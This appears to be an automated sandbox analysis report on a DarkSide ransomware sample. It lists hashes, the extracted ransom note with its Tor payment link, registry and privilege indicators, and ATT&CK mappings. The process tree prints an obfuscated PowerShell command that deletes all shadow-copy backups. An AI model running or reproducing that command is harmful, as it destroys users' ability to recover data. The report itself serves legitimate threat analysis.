darkside | 0e9734837c7f9921236e8ec5b85b182567e535c11dfebe24cb480fe73d5d412f

General

Target

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Size

59KB
MD5

885fc8fb590b899c1db7b42fe83dddc3
SHA1

c104056f9a926d27a2082f0510c97b09cb0eb3e5
SHA256

0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d
SHA512

2b8e49ad84434dcaf98635120ac54bfa7e55bb61bf9d0e3f1f25ab81e950f638311d2121217bf5840834778d5e137551e24b89da02f12dc6be99d755c54f4c13
SSDEEP

768:vjjmbIax7F3DS4/S9+CuUSbVAdNcxGV1yl3XsY23W58:0x7Fu4/ihrhDTV1ylHXZ58

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\README.795a92b9.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide - I-D Foods Corporation] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW When you open our website, put the following data in the input form: Key: 9NtjyWHbqWYTbhBpJ2ht4tKo7DQgTGmQ4IGHCFvgjiSMTNopVgQ9YIh9KRWkQgmvxviZtJGOakzykMzWKRgxwf2pCxpdMT8iGlKcsSOsxVOUXIGEgpy6tLqliTTEKWnohcYOhCF3DYMePMxEYa0eCmED1EXEG5QOZCpmkgDl5s5VSUF5uhnKsunUtKGS24iEAr2hxsJ1zMcMHmKVrf3bvRyhYVKXwlXVggxE7ncowldcK3v3CiKC24jKVd6OH5QrhVyyQLrFM5RE3Y0RcTeRTIqf1J5CIEhTiG3TH7SEpws4wfkt9RZ7rBWT4n3B69Z9JuPzyFCBwPKF7gTzEYzixIGzFbJyLSZXff9ryv3yL3JeKywAcoBafos0dLSkRgf1X1a1S2ud4kXa5GRU4W7rhCQsnJ8vAcv1AXaPRq9ESySBWQdGCQMSci0ex0oE4EfCDW3jjyXtaPofqNFhibodJFmOyTKwie1OcW6Kh6Ih6JxXXfUXr4VbRILzsiPXsOTTisDaEicID1E0SJRluBus2UhPyogJiZ7UpmUu9LUe3yAi3Bhox3pLv8E !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/LYID3U99RAJSTEYEFWS6SLYDGMUXKNAT3OPKN9D56PIGX1QHBU5DHGUN4HGMX2IW

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (163) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.795a92b9\ = "795a92b9"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\795a92b9\DefaultIcon	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\795a92b9	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\795a92b9\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\795a92b9.ico"	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.795a92b9	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3344	powershell.exe
3344	powershell.exe
3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe

Suspicious use of AdjustPrivilegeToken 25 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSecurityPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeTakeOwnershipPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeLoadDriverPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemProfilePrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemtimePrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeProfSingleProcessPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeIncBasePriorityPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeCreatePagefilePrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeBackupPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeRestorePrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeShutdownPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeDebugPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeSystemEnvironmentPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeRemoteShutdownPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeUndockPrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeManageVolumePrivilege	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 33	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 34	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 35	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: 36	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
Token: SeDebugPrivilege	3344	powershell.exe
Token: SeBackupPrivilege	2544	vssvc.exe
Token: SeRestorePrivilege	2544	vssvc.exe
Token: SeAuditPrivilege	2544	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3396 wrote to memory of 3344	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	87
PID 3396 wrote to memory of 3344	3396	0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe	87

C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe
"C:\Users\Admin\AppData\Local\Temp\0839aabe5fd63b16844a27b3c586c02a044d119010a1a40ee4035501c34eae0d.exe"
1⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3396
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3344

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
71444def27770d9071039d005d0323b7

SHA1
cef8654e95495786ac9347494f4417819373427e

SHA256
8438eded7f1ab9b4399a069611fe8730226bcdce08fab861d4e8fae6ef621ec9

SHA512
a721af797fd6882e6595b7d9610334f1fb57b809e504452eed4b0d0a32aaf07b81ce007bd51605bec9fcea7ec9f1d8424db1f0f53b65a01126ec4f5980d86034

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eaui5vz2.43t.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\README.795a92b9.TXT

Filesize
1KB

MD5
d4e176b40c4ea17f4870c34fad926d6e

SHA1
2cc3e4c6cf00e4a2ac0e16e9f7b0ccf2421b92e0

SHA256
7ee422c323ddbda59934ed7bfa6217cfe06bdb50165b7d4b6115475f1df7af0c

SHA512
feaa913ae99db210db088423a9813e1efedd89d80817bf485a4d9f8ea349b86932ac16ba0473bd224ff150603507bd289d01aebc1a702372a076a167b632f471

Download Submit
memory/3344-134-0x00007FFD23430000-0x00007FFD23EF1000-memory.dmp

Filesize
10.8MB

Download
memory/3344-141-0x000001F1FBEC0000-0x000001F1FBED0000-memory.dmp

Filesize
64KB

Download
memory/3344-140-0x000001F1E3890000-0x000001F1E38B2000-memory.dmp

Filesize
136KB

Download
memory/3344-142-0x000001F1FBEC0000-0x000001F1FBED0000-memory.dmp

Filesize
64KB

Download
memory/3344-149-0x00007FFD23430000-0x00007FFD23EF1000-memory.dmp

Filesize
10.8MB

Download

Analysis

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